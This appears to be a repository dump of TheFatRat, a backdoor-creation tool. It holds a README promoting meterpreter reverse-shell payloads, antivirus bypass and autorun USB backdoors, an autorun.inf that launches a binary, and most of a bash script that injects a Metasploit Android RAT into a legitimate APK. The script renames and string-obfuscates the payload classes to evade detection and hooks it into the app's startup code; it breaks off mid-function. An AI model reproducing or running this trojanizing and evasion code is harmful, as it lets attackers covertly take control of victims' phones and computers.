<img src="https://cloud.githubusercontent.com/assets/17976841/22401700/f08098ae-e60f-11e6-8e01-f2380f1b7c29.png" width="55%"></img>
#---------------------------------------------------------------
<img src="https://cloud.githubusercontent.com/assets/17976841/18483870/39cb46ba-7a10-11e6-859b-1c1baa3c1b0a.png" width="32%"></img> <img src="https://cloud.githubusercontent.com/assets/17976841/18483871/39cb81ca-7a10-11e6-84f3-1683067fa4f5.png" width="32%"></img> <img src="https://cloud.githubusercontent.com/assets/17976841/18483873/39d54372-7a10-11e6-890f-41803a33b9c9.png" width="32%"></img>
#Automating metasploit functions
- Checks for metasploit service and starts if not present
- Easily craft meterpreter reverse_tcp payloads for Windows, Linux, Android and Mac and another
- Start multiple meterpreter reverse_tcp listners
- Fast Search in searchsploit
- Bypass AV
- File pumper
- Create backdoor with another techniq
- Autorunscript for listeners ( easy to use )
- Drop into Msfconsole
- Some other fun stuff :)
### But it's shit! And your implementation sucks!
- Yes, you're probably correct. Feel free to "Not use it" and there is a pull button to "Make it better".
# Installation
Instructions on how to install *TheFatRat*
```bash
git clone https://github.com/Screetsec/TheFatRat.git
cd TheFatRat
chmod +x setup.sh && ./setup.sh
```
### Update
```bash
cd TheFatRat
./update && chmod +x setup.sh && ./setup.sh
```
### Troubleshoot on TheFatRat
chk_tools script to use in case of problems in setup.sh of fatrat
this script will check if everything is in the right version to run fatrat
and will also provide you a solution for the problem
```
cd TheFatRat
chmod +x chk_tools
./chk_tools
```
#Autorun Backdoor
## Tools Overview
| Front View | Sample Feature |
| ------------ | ------------ |
|![Index](https://cloud.githubusercontent.com/assets/17976841/25420100/9ee12cf6-2a80-11e7-8dfa-c2e3cfe71366.png)|![f](https://user-images.githubusercontent.com/17976841/65820886-91a4b200-e258-11e9-9a00-1e5905f6be16.jpg)
- Autorun work if the victim disabled uac ( user acces control ) or low uac ( WINDOWS )
- What is uac ? you can visit ( http://www.digitalcitizen.life/uac-why-you-should-never-turn-it-off )
- I have also created 3 AutoRun files
- Simply copy these files to a CD or USB
- You can change the icon autorun file or exe in folder icon ( replace your another ico and replace name with autorun.ico )
## Documentation
- Documentation Available in Modules CEH v9 and V10 , Download source here
- [CEHv10 Module 06 System Hacking.pdf](https://github.com/khanhnnvn/CEHv10/blob/master/Labs/CEHv10%20Module%2006%20System%20Hacking.pdf)
- [CEHv10 Module 17 Hacking Mobile Platforms.pdf](https://github.com/khanhnnvn/CEHv10/blob/master/Labs/CEHv10%20Module%2017%20Hacking%20Mobile%20Platforms.pdf)
- Published in International Journal of Cyber-Security and Digital Forensics
- [Malware Analysis Of Backdoor Creator : TheFatRat](https://www.researchgate.net/publication/323574673_MALWARE_ANALYSIS_OF_BACKDOOR_CREATOR_FATRAT)
- Youtube Videos
- [How To Download & Install TheFatRat](https://www.youtube.com/watch?v=FsSgJFxyzFQ)
- [TheFatRat 1.9.6 - Trodebi ( Embed Trojan into Debian Package )](https://www.youtube.com/watch?v=NCsrcqhUBCc&feature=youtu.be&list=PLbyfDadg3caj6nc3KBk375lKWDOjiCmb8)
- [hacking windows 10 with TheFatRat](https://www.youtube.com/watch?v=bFXVAXRXE9Q )
- [Hacking Windows using TheFatRat + Apache2 Server + Ettercap + Metasploit](https://www.youtube.com/watch?v=FlXMslSjnGw)
- [Hacking with a Microsoft Office Word Document from TheFatRat](https://www.youtube.com/watch?v=lglOXojT84M)
- [XSS to powershell attack and bypass Antivirus using BeEF + TheFatRat + Metasploit](https://www.youtube.com/watch?v=pbvg7pgxVjo)
- [TheFatRat - Hacking Over WAN - Embedding Payload in Original Android APK - Without Port Forwarding](https://www.youtube.com/watch?v=XLNigYZ5-fM)
- [How To Automatically Embed Payloads In APK's - Evil-Droid, Thefatrat & Apkinjector](https://www.youtube.com/watch?v=C_Og6LnEZSg)
- [Bind FUD Payload with JPG and Hack over WAN with TheFatRat](https://www.youtube.com/watch?v=VPl1TMCAIy8)
#HOW CHANGE THE ICONS ?
## Changelog
All notable changes to this project will be documented in this [file](https://github.com/Screetsec/thefatrat/blob/master/CHANGELOG.md).
- Copy your icon picture to folder /TheFatrat/icons
- Change the name into autorun.ico
- And Replace
- Done
### About issues
- Read the [document](https://github.com/Screetsec/TheFatRat/blob/master/issues.md) before making an issue
## Alternative Best Tool - Generating Backdoor & Bypass
- [Veil-Framework /Veil](https://github.com/Veil-Framework/Veil) - Veil Framework
- [Shellter](https://www.shellterproject.com/download/) - Shellter AV Evasion Artware
- [Unicorn](https://github.com/trustedsec/unicorn) - Trustedsec
- [MSFvenom Payload Creator (MSFPC)](https://github.com/g0tmi1k/msfpc) - g0tmi1k
- [Venom](https://github.com/r00t-3xp10it/venom) - Pedro Ubuntu
- [Phantom-Evasion](https://github.com/oddcod3/Phantom-Evasion) - Diego Cornacchini
## :scroll: Changelog
Be sure to check out the [Changelog] and Read CHANGELOG.md
## Credits & Thanks
- [Offensive Security](https://www.offensive-security.com/) - Offensive Security
- [dracOs Linux](https://dracos-linux.org/) - Penetration Testing OS From Indonesia
- [peterpt](https://github.com/peterpt) - Maintainer & Contributor
- [Dana James Traversie](https://github.com/dana-at-cp/backdoor-apk) - backdoor_apk
- [z0noxz](https://github.com/z0noxz/powerstager) - Powerstager
- [TrustedSec](https://github.com/trustedsec/unicorn) - Unicorn
- [Raphael Mudge](https://github.com/rsmudge) - External Source
- [astr0baby](https://astr0baby.wordpress.com) - Reference Source
- [NgeSEC](https://ngesec.id/) Community
- [Gauli(dot)Net](https://gauli.net/) - Lab Penetration
## License
TheFatRat is made with 🖤 by Edo Maland & All [Contributors](https://github.com/Screetsec/TheFatRat/graphs/contributors). See the **License** file for more details.
## Getting Started
1. ```git clone https://github.com/Screetsec/TheFatRat.git```
2. ```cd TheFatRat/setup```
3. ```chmod +x setup.sh && ./setup.sh```
## :book: How it works
* Extract The lalin-master to your home or another folder
* chmod +x fatrat
* chmod +x powerfull.sh
* And run the tools ( ./fatrat )
* Easy to Use just input your number
## :heavy_exclamation_mark: Requirements
- A linux operating system. We recommend Kali Linux 2 or Kali 2016.1 rolling / Cyborg / Parrot / Dracos / BackTrack / Backbox / and another operating system ( linux )
- Must install metasploit framework
## :heavy_exclamation_mark: READ
- if prog.c file to large when create backdoor with powerfull.sh , you can use prog.c.backup and create another backup when you running option 2
## Tutorial ?
* Screetsec Channel : https://www.youtube.com/channel/UCpK9IXzLMfVFp9NUfDzxFfw
* Udate thefatrat v1.8 https://youtu.be/6skLV6zPnec?list=PLbyfDadg3caj6nc3KBk375lKWDOjiCmb8
* file Pumper in linux with fatrat https://youtu.be/rHuh5DJ476M?list=PLbyfDadg3caj6nc3KBk375lKWDOjiCmb8
* Kali linux 2016.2 | Setup FatRat and Bypass Windows 10 :https://www.youtube.com/watch?v=mkfKSCxvPec
* Embed Backdoor Apk Andoird : https://www.youtube.com/watch?v=bZg3gPuLvgs&feature=youtu.be
* Create Backdoor Php and Reconnect With TheFatRat : https://www.youtube.com/watch?v=gfS55fjd8Fg
* THEFATRAT:BACKDOOR CREATOR & BYPASS ANTIVIRUS AND INSTALL. : https://www.youtube.com/watch?v=C4YHVKPw6Zo
* Exploit Windows 7/8/10 using Thefatrat ( option 2 ) : https://www.youtube.com/watch?v=-WbKOxIl_f4
* How to hack android device with FatRat on kali linux 2 :https://www.youtube.com/watch?v=yUuwnu-NUXE
* Kali Linux Tools - TheFatRat Tool For Generate Backdoor with MsfVenom : https://www.youtube.com/watch?v=7PMfPbrM0o4
* FUD 100 % Backdoor With TheFatRat pt.1 [ PwnWinds ] [ Bypass Antivirus ] : https://www.youtube.com/watch?v=8lJBwclFwJI
* FUD 100 % Backdoor With TheFatRat pt.2 [ PwnWinds ] [ Bypass Antivirus ] : https://www.youtube.com/watch?v=t7E6DZPhLLk&t=17s
* FUD 100 % Backdoor With TheFatRat pt.3 [ PwnWinds ] [ Bypass Antivirus ] : https://www.youtube.com/watch?v=wCzsD6vt9CQ
* TheFatrat Backdoor Undetectable by Antivirus Kali linux part 3 :https://www.youtube.com/watch?v=wuOCDn0NvWc
* 1000 % FUD Backdoor with TheFatRat Tool : https://www.youtube.com/watch?v=vPXWv0jaBEQ
* How To Use TheFatRat To Create Backdoor In Kali Rolling [FUD 100%] : https://www.youtube.com/watch?v=26tSOuPcpZk
* Backdoor (Virus) 100% Indetectable | TheFatRat : https://www.youtube.com/watch?v=26tSOuPcpZk
* Backdooring Android with TheFatRat Tool- Kali Linux Tutorial :https://www.youtube.com/watch?v=1SQW9lujjT8
* Hacking Windows using TheFatRat + Apache2 Server + Ettercap + Metasploit on Kali Linux 2016.2 https://www.youtube.com/watch?v=FlXMslSjnGw
* ALL VIDEO IN HERE : https://www.youtube.com/results?search_query=thefatrat+backdoor
## BUG ?
- Submit new issue
- pm me
- Hey sup ? do you want ask about all my tools ? you can join me in telegram.me/offscreetsec
## :octocat: Credits
- Thanks to allah and Screetsec [ Edo -maland- ] <Me>
- Dracos Linux from Scratch Indonesia ( Penetration os ) Thanksyou , you can see in http://dracos-linux.org/
- Offensive Security for the awesome OS ( http://www.offensive-security.com/ )
- http://www.kali.org/"
- Jack Wilder admin in http://www.linuxsec.org
- source for c program https://github.com/rsmudge
- And another open sources tool in github
- Uptodate new tools hacking visit http://www.kitploit.com
## Disclaimer
***Note: modifications, changes, or alterations to this sourcecode is acceptable, however,any public releases utilizing this code must be approved by writen this tool ( Edo -m- ).***

BIN
autorun/app4 Executable file

Binary file not shown.

BIN
autorun/autorun.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

4
autorun/autorun.inf Normal file
View File

@ -0,0 +1,4 @@
[autorun]
open=app4
icon=autorun.ico
label=

802
backdoor_apk Executable file
View File

@ -0,0 +1,802 @@
#!/bin/bash
#Recoded : peterpt & Edo maland
#Author the tools : Dana James Traversie { dana-at-cp }
#fix some bug in the original script and compatible with fatrat : peterpt & screetsec
#apk-backdoor standalone file & original link https://github.com/dana-at-cp/backdoor-apk
#whatis backdoor apk
#backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc.
#This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.
# Setting Colours
cyan='\e[0;36m'
green='\e[0;32m'
lightgreen='\e[1;32m'
white='\e[1;37m'
red='\e[1;31m'
yellow='\e[1;33m'
blue='\e[1;34m'
RESET="\033[00m" #normal
path=`pwd`
MY_PATH=`pwd`
list="$path/config/listeners"
#setting tools variables
file="config/config.path"
if [ -f "$file" ]
then
MSFVENOM=`sed -n 14p $file`
BAKSMALI=`sed -n 12p $file`
UNZIP=`sed -n 6p $file`
KEYTOOL=`sed -n 7p $file`
JARSIGNER=`sed -n 5p $file`
APKTOOL=`sed -n 11p $file`
DX=`sed -n 9p $file`
ZIPALIGN=`sed -n 8p $file`
output=$(sed -n 17p ${file})
ASO="$path/tools/android-string-obfuscator/lib/aso"
else
echo -e $red"Configuration file does not exists , run setup.sh first for config ."
exit 1
fi
apkconf="config/apk.tmp"
if [ -f "$apkconf" ]
then
ORIG_APK_FILE=`sed -n 1p $apkconf`
RAT_APK_FILE=`sed -n 2p $apkconf`
PAYLOAD=`sed -n 3p $apkconf`
LHOST=`sed -n 4p $apkconf`
LPORT=`sed -n 5p $apkconf`
else
echo -e $red "APK Configuration file does not exist , run fatrat to config ."
exit 1
fi
VERSION="0.2.4a"
PERM_OPT=""
ORIG_PACKAGE=""
INJECT_PACKAGE=""
SMALI_FILE_TO_HOOK=""
# file paths and misc
MY_PATH=`pwd`
TMP_DIR=$MY_PATH/temp
ORIG_APK_FILE_NAME=""
LOG_FILE=$MY_PATH/logs/apk.log
TIME_OF_RUN=`date`
# for functions
FUNC_RESULT=""
# functions
function gen_placeholder {
local result=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 32 | head -n 1)
FUNC_RESULT=$result
return 0
}
function gen_smali_package_dir {
local dir=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 5 | head -n 1)
FUNC_RESULT=$dir
return 0
}
function gen_smali_class_name {
local start=$(cat /dev/urandom | tr -dc 'A-Z' | fold -w 1 | head -n 1)
local end=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 4 | head -n 1)
FUNC_RESULT=$start$end
return 0
}
function find_smali_file {
# $1 = smali_file_to_hook
# $2 = android_class
if [ ! -f $1 ]; then
local index=2
local max=1000
local smali_file=""
while [ $index -lt $max ]; do
smali_file=$MY_PATH/temp/original/smali_classes$index/$2.smali
if [ -f $smali_file ]; then
# found
FUNC_RESULT=$smali_file
return 0
else
let index=index+1
fi
done
# not found
return 1
else
FUNC_RESULT=$1
return 0
fi
}
function hook_smali_file {
# $1 = new_ms_name
# $2 = smali_file_to_hook
local smali_file=$2
inject_line_num=$(grep -n "return-void" $smali_file |head -n 1|awk -F ":" '{ print $1 }')
sed -i ''"$inject_line_num"'i\ \ \ \ invoke-static \{\}, L'"$INJECT_PACKAGE"'\/'"$1"';->start()V\n' $smali_file >>$LOG_FILE 2>&1
grep -B 2 "$INJECT_PACKAGE/$1" $smali_file >>$LOG_FILE 2>&1
if [ $? == 0 ]; then
echo "The smali file was hooked successfully" >>$LOG_FILE 2>&1
FUNC_RESULT=$smali_file
return 0
else
echo "Failed to hook smali file" >>$LOG_FILE 2>&1
return 1
fi
}
function verify_orig_apk {
if [ -z $ORIG_APK_FILE ]; then
echo "[!] No original APK file specified"
exit 1
fi
if [ ! -f $ORIG_APK_FILE ]; then
echo "[!] Original APK file specified does not exist"
exit 1
fi
$UNZIP -l $ORIG_APK_FILE >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
echo "[!] Original APK file specified is not valid"
exit $rc
fi
}
function consult_which {
which $1 >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
echo "[!] Check your environment and configuration. Couldn't find: $1"
exit $rc
fi
}
function print_ascii_art {
cat << "EOF"
________
/ ______ \
|| _ _ ||
||| || ||| AAAAAA PPPPPPP KKK KKK
|||_||_||| AAA AAA PPP PPP KKK KKK
|| _ _o|| (o) AAA AAA PPP PPP KKKKKK
||| || ||| AAAAAAAA PPPPPPPP KKK KKK
|||_||_||| AAA AAA PPP KKK KKK
||______|| AAA AAA PPP KKK KKK
/__________\
________|__________|__________________________________________
/____________\
|____________| Dana James Traversie
EOF
}
function get_perm_opt {
echo "[+] Android manifest permission options:"
PS3='[?] Please select an Android manifest permission option: '
options=("Keep original" "Merge with payload and shuffle")
select opt in "${options[@]}"
do
case $opt in
"Keep original")
PERM_OPT="KEEPO"
break
;;
"Merge with payload and shuffle")
PERM_OPT="RANDO"
break
;;
*)
echo "[!] Invalid option selected"
;;
esac
done
}
function init {
echo "Running backdoor-apk at $TIME_OF_RUN" >$LOG_FILE 2>&1
print_ascii_art
echo "[*] Running backdoor-apk.sh v$VERSION on $TIME_OF_RUN"
consult_which $MSFVENOM
consult_which $BAKSMALI
consult_which $UNZIP
consult_which $KEYTOOL
consult_which $JARSIGNER
consult_which $APKTOOL
consult_which $ASO
consult_which $DX
consult_which $ZIPALIGN
verify_orig_apk
get_perm_opt
mkdir -v $TMP_DIR >>$LOG_FILE 2>&1
}
# kick things off
init
# generate Metasploit resource script
# credit to John Troony for the suggestion
ORIG_APK_FILE_NAME=`echo "${ORIG_APK_FILE##*/}"`
echo "Working on original APK: $ORIG_APK_FILE_NAME" >>$LOG_FILE 2>&1
echo -n "[*] Decompiling original APK file..."
$APKTOOL d -f -o $MY_PATH/temp/original $ORIG_APK_FILE >>$LOG_FILE 2>&1
rc=$?
echo "done."
if [ $rc != 0 ]; then
echo "[!] Failed to decompile original APK file"
exit $rc
fi
echo -n "[*] Locating smali file to hook in original project..."
total_package=`head -n 2 $MY_PATH/temp/original/AndroidManifest.xml|grep "<manifest"|grep -o -P 'package="[^\"]+"'|sed 's/\"//g'|sed 's/package=//g'|sed 's/\./\//g'`
android_name=`grep "<application" $MY_PATH/temp/original/AndroidManifest.xml|grep -o -P 'android:name="[^\"]+"'|sed 's/\"//g'|sed 's/android:name=//g'|sed 's/\./\//g'`
echo "Value of android_name: $android_name" >>$LOG_FILE 2>&1
android_class=$android_name
echo "Value of android_class: $android_class" >>$LOG_FILE 2>&1
smali_file_to_hook=$MY_PATH/temp/original/smali/$android_class.smali
find_smali_file $smali_file_to_hook $android_class
rc=$?
if [ $rc != 0 ]; then
echo "done."
echo "[!] Failed to locate smali file to hook"
exit $rc
else
echo "done."
smali_file_to_hook=$FUNC_RESULT
echo "The smali file to hook: $smali_file_to_hook" >>$LOG_FILE 2>&1
ORIG_PACKAGE=$total_package
SMALI_FILE_TO_HOOK=$smali_file_to_hook
fi
echo "[+] Package where RAT smali files will be injected: $ORIG_PACKAGE"
echo "[+] Smali file to hook RAT payload: $android_class.smali"
echo -n "[*] Generating RAT APK file..."
$MSFVENOM -a dalvik --platform android -p $PAYLOAD LHOST=$LHOST LPORT=$LPORT -f raw -o $RAT_APK_FILE >>$LOG_FILE 2>&1
rc=$?
echo "done."
if [ $rc != 0 ] || [ ! -f $RAT_APK_FILE ]; then
echo "[!] Failed to generate RAT APK file"
exit 1
fi
echo -n "[*] Decompiling RAT APK file..."
$APKTOOL d -f -o $MY_PATH/temp/payload $RAT_APK_FILE >>$LOG_FILE 2>&1
rc=$?
echo "done."
if [ $rc != 0 ]; then
echo "[!] Failed to decompile RAT APK file"
exit $rc
fi
gen_placeholder
placeholder=$FUNC_RESULT
echo "placeholder value: $placeholder" >>$LOG_FILE 2>&1
original_manifest_file=$MY_PATH/temp/original/AndroidManifest.xml
if [ "$PERM_OPT" == "RANDO" ]; then
echo -n "[*] Merging permissions of original and payload projects..."
tmp_perms_file=$MY_PATH/temp/perms.tmp
payload_manifest_file=$MY_PATH/temp/payload/AndroidManifest.xml
merged_manifest_file=$MY_PATH/temp/original/AndroidManifest.xml.merged
grep "<uses-permission" $original_manifest_file >$tmp_perms_file
grep "<uses-permission" $payload_manifest_file >>$tmp_perms_file
grep "<uses-permission" $tmp_perms_file|sort|uniq|shuf >$tmp_perms_file.uniq
mv $tmp_perms_file.uniq $tmp_perms_file
sed "s/<uses-permission.*\/>/$placeholder/g" $original_manifest_file >$merged_manifest_file
awk '/^[ \t]*'"$placeholder"'/&&c++ {next} 1' $merged_manifest_file >$merged_manifest_file.uniq
mv $merged_manifest_file.uniq $merged_manifest_file
sed -i "s/$placeholder/$(sed -e 's/[\&/]/\\&/g' -e 's/$/\\n/' $tmp_perms_file | tr -d '\n')/" $merged_manifest_file
diff $original_manifest_file $merged_manifest_file >>$LOG_FILE 2>&1
mv $merged_manifest_file $original_manifest_file
echo "done."
# cleanup payload directory after merging app permissions
#rm -rf $MY_PATH/payload >>$LOG_FILE 2>&1
elif [ "$PERM_OPT" == "KEEPO" ]; then
echo "[+] Keeping permissions of original project"
else
echo "[!] Something went terribly wrong..."
exit 1
fi
# use dx and baksmali to inject Java classes
echo -n "[*] Injecting helpful Java classes in RAT APK file..."
mkdir -v -p $MY_PATH/temp/bin/classes >>$LOG_FILE 2>&1
mkdir -v -p $MY_PATH/temp/libs >>$LOG_FILE 2>&1
$DX --dex --output="$MY_PATH/temp/bin/classes/classes.dex" $MY_PATH/java/* >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
echo "done."
echo "[!] Failed to run dx on Java class files"
exit $rc
fi
$BAKSMALI d -o $MY_PATH/temp/bin/classes/smali $MY_PATH/temp/bin/classes/classes.dex >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
echo "done."
echo "[!] Failed to run baksmali on classes.dex created for Java class files"
exit $rc
fi
cp -v -r $MY_PATH/temp/bin/classes/smali/* $MY_PATH/temp/payload/smali >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
echo "done."
echo "[!] Failed to inject smali files dervied from Java classes"
exit $rc
fi
echo "done."
# avoid having com/metasploit/stage path to smali files
echo -n "[*] Creating new directory in original package for RAT smali files..."
gen_smali_package_dir
inject_package_dir=$FUNC_RESULT
inject_package_path=$ORIG_PACKAGE/$inject_package_dir
mkdir -v -p $MY_PATH/temp/original/smali/$inject_package_path >>$LOG_FILE 2>&1
rc=$?
echo "done."
if [ $rc != 0 ]; then
echo "[!] Failed to create new directory for RAT smali files"
exit $rc
else
echo "[+] Inject package path: $inject_package_path"
INJECT_PACKAGE=$inject_package_path
fi
# create new smali class names
gen_smali_class_name
new_mbr_name=$FUNC_RESULT
echo "[+] Generated new smali class name for MainBroadcastReceiver.smali: $new_mbr_name"
gen_smali_class_name
new_ms_name=$FUNC_RESULT
echo "[+] Generated new smali class name for MainService.smali: $new_ms_name"
gen_smali_class_name
new_payload_name=$FUNC_RESULT
echo "[+] Generated new smali class name for Payload.smali: $new_payload_name"
gen_smali_class_name
new_so_name=$FUNC_RESULT
echo "[+] Generated new smali class name for StringObfuscator.smali: $new_so_name"
gen_smali_package_dir
new_so_obfuscate_method_name=$FUNC_RESULT
echo "[+] Generated new smali method name for StringObfuscator.obfuscate method: $new_so_obfuscate_method_name"
gen_smali_package_dir
new_so_unobfuscate_method_name=$FUNC_RESULT
echo "[+] Generated new smali method name for StringObfuscator.unobfuscate method: $new_so_unobfuscate_method_name"
echo -n "[*] Copying RAT smali files to new directories in original project..."
# handle MainBroadcastReceiver.smali
mv -v $MY_PATH/temp/payload/smali/com/metasploit/stage/MainBroadcastReceiver.smali $MY_PATH/temp/original/smali/$INJECT_PACKAGE/$new_mbr_name.smali >>$LOG_FILE 2>&1
rc=$?
if [ $rc == 0 ]; then
# handle MainService.smali
mv -v $MY_PATH/temp/payload/smali/com/metasploit/stage/MainService.smali $MY_PATH/temp/original/smali/$INJECT_PACKAGE/$new_ms_name.smali >>$LOG_FILE 2>&1
rc=$?
fi
if [ $rc == 0 ]; then
# handle Payload.smali
mv -v $MY_PATH/temp/payload/smali/com/metasploit/stage/Payload.smali $MY_PATH/temp/original/smali/$INJECT_PACKAGE/$new_payload_name.smali >>$LOG_FILE 2>&1
rc=$?
fi
if [ $rc == 0 ]; then
cp -v $MY_PATH/temp/payload/smali/com/metasploit/stage/*.smali $MY_PATH/temp/original/smali/$INJECT_PACKAGE >>$LOG_FILE 2>&1
rc=$?
fi
if [ $rc == 0 ]; then
rm -v $MY_PATH/temp/original/smali/$INJECT_PACKAGE/MainActivity.smali >>$LOG_FILE 2>&1
rc=$?
fi
if [ $rc == 0 ]; then
cp -v $MY_PATH/temp/payload/smali/net/dirtybox/util/obfuscation/StringObfuscator.smali $MY_PATH/temp/original/smali/$INJECT_PACKAGE/$new_so_name.smali >>$LOG_FILE 2>&1
rc=$?
fi
echo "done."
if [ $rc != 0 ]; then
echo "[!] Failed to copy RAT smali files"
exit $rc
fi
echo -n "[*] Fixing RAT smali files..."
sed -i "s/MainBroadcastReceiver/$new_mbr_name/g" $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
rc=$?
if [ $rc == 0 ]; then
sed -i "s/MainService/$new_ms_name/g" $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
rc=$?
fi
if [ $rc == 0 ]; then
sed -i "s/Payload/$new_payload_name/g" $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
rc=$?
fi
if [ $rc == 0 ]; then
sed -i "s/StringObfuscator/$new_so_name/g" $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
rc=$?
fi
if [ $rc == 0 ]; then
sed -i 's|com\([./]\)metasploit\([./]\)stage|'"$INJECT_PACKAGE"'|g' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
rc=$?
fi
if [ $rc == 0 ]; then
sed -i 's|net\([./]\)dirtybox\([./]\)util\([./]\)obfuscation|'"$INJECT_PACKAGE"'|g' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
rc=$?
fi
if [ $rc == 0 ]; then
#.method public static obfuscate(Ljava/lang/String;)Ljava/lang/String;
#.method public static unobfuscate(Ljava/lang/String;)Ljava/lang/String;
sed -i 's:method public static obfuscate:method public static '"$new_so_obfuscate_method_name"':g' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/$new_so_name.smali >>$LOG_FILE 2>&1
rc=$?
if [ $rc == 0 ]; then
sed -i 's:method public static unobfuscate:method public static '"$new_so_unobfuscate_method_name"':g' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/$new_so_name.smali >>$LOG_FILE 2>&1
rc=$?
fi
fi
echo "done."
if [ $rc != 0 ]; then
echo "[!] Failed to fix RAT smali files"
exit $rc
fi
# TODO: Refactor and improve error handling and logging
echo -n "[*] Obfuscating const-string values in RAT smali files..."
cat >$MY_PATH/temp/obfuscate.method <<EOL
const-string ###REG###, "###VALUE###"
invoke-static {###REG###}, L###CLASS###;->###METHOD###(Ljava/lang/String;)Ljava/lang/String;
move-result-object ###REG###
EOL
stringobfuscator_class=$INJECT_PACKAGE/$new_so_name
echo "StringObfuscator class: $stringobfuscator_class" >>$LOG_FILE 2>&1
so_class_suffix="$new_so_name.smali"
echo "StringObfuscator class suffix: $so_class_suffix" >>$LOG_FILE 2>&1
so_default_key="7IPR19mk6hmUY+hdYUaCIw=="
so_key=$so_default_key
which openssl >>$LOG_FILE 2>&1
rc=$?
if [ $rc == 0 ]; then
so_key="$(openssl rand -base64 16)"
rc=$?
fi
if [ $rc == 0 ]; then
file="$MY_PATH/temp/original/smali/$stringobfuscator_class.smali"
sed -i 's%'"$so_default_key"'%'"$so_key"'%' $file >>$LOG_FILE 2>&1
rc=$?
if [ $rc == 0 ]; then
echo "Injected new key into StringObufscator class" >>$LOG_FILE 2>&1
else
echo "Failed to inject new key into StringObfuscator class, using default key" >>$LOG_FILE 2>&1
so_key=$so_default_key
fi
else
echo "Failed to generate a new StringObfuscator key, using default key" >>$LOG_FILE 2>&1
so_key=$so_default_key
fi
echo "StringObfuscator key: $so_key" >>$LOG_FILE 2>&1
sed -i 's/[[:space:]]*"$/"/g' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
rc=$?
if [ $rc == 0 ]; then
grep "const-string" -n --exclude="$so_class_suffix" $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali |while read -r line; do
gen_placeholder
placeholder=$FUNC_RESULT
echo "Placeholder: $placeholder" >>$LOG_FILE 2>&1
filewithlinenum=`echo $line |awk -F ": " '{ print $1 }'`
echo "File with line num: $filewithlinenum" >>$LOG_FILE 2>&1
file=`echo $filewithlinenum |awk -F ":" '{ print $1 }'`
echo "File: $file" >>$LOG_FILE 2>&1
linenum=`echo $filewithlinenum |awk -F ":" '{ print $2 }'`
echo "Line num: $linenum" >>$LOG_FILE 2>&1
target=`echo $line |awk -F ", " '{ print $2 }'`
echo "Target: $target" >>$LOG_FILE 2>&1
tmp=`echo $line |awk -F ": " '{ print $2 }'`
reg=`echo $tmp |awk '{ print $2 }' |sed 's/,//'`
echo "Reg: $reg" >>$LOG_FILE 2>&1
stripped_target=`sed -e 's/^"//' -e 's/"$//' <<<"$target"`
echo "Stripped target: $stripped_target" >>$LOG_FILE 2>&1
replacement=`$ASO e "$stripped_target" k "$so_key"`
rc=$?
if [ $rc != 0 ]; then
echo "Failed to obfuscate target value" >>$LOG_FILE 2>&1
touch $MY_PATH/temp/obfuscate.error
break
fi
echo "Replacement: $replacement" >>$LOG_FILE 2>&1
echo "" >> $LOG_FILE 2>&1
sed -i -e ''"$linenum"'d' $file >>$LOG_FILE 2>&1
sed -i ''"$linenum"'i '"$placeholder"'' $file >>$LOG_FILE 2>&1
cp -v $MY_PATH/temp/obfuscate.method $TMP_DIR/$placeholder.stub >>$LOG_FILE 2>&1
echo "$placeholder" >> $TMP_DIR/placeholders.txt
sed -i 's/###REG###/'"$reg"'/' $TMP_DIR/$placeholder.stub >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
echo "Failed to inject register value" >>$LOG_FILE 2>&1
touch $MY_PATH/temp/obfuscate.error
break
fi
sed -i 's|###VALUE###|'"$replacement"'|' $TMP_DIR/$placeholder.stub >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
echo "Failed to inject replacement value" >>$LOG_FILE 2>&1
touch $MY_PATH/temp/obfuscate.error
break
fi
done
cd $TMP_DIR
cat placeholders.txt |while read placeholder; do
if [ -f $placeholder.stub ]; then
sed -i -e '/'"$placeholder"'/r '"$placeholder"'.stub' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
sed -i -e '/'"$placeholder"'/d' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
fi
done
cd $MY_PATH
rm -v $TMP_DIR/*.stub >>$LOG_FILE 2>&1
rm -v $TMP_DIR/placeholders.txt >>$LOG_FILE 2>&1
if [ ! -f $MY_PATH/temp/obfuscate.error ]; then
class="$stringobfuscator_class"
sed -i 's|###CLASS###|'"$class"'|' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali
rc=$?
if [ $rc == 0 ]; then
method="$new_so_unobfuscate_method_name"
sed -i 's|###METHOD###|'"$method"'|' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali
rc=$?
fi
else
rm -v $MY_PATH/temp/obfuscate.error >>$LOG_FILE 2>&1
rc=1
fi
fi
echo "done."
if [ $rc != 0 ]; then
echo "[!] Failed to obfuscate const-string values in RAT smali files"
exit $rc
fi
echo -n "[*] Adding hook in original smali file..."
hook_smali_file $new_ms_name $smali_file_to_hook
rc=$?
echo "done."
if [ $rc != 0 ]; then
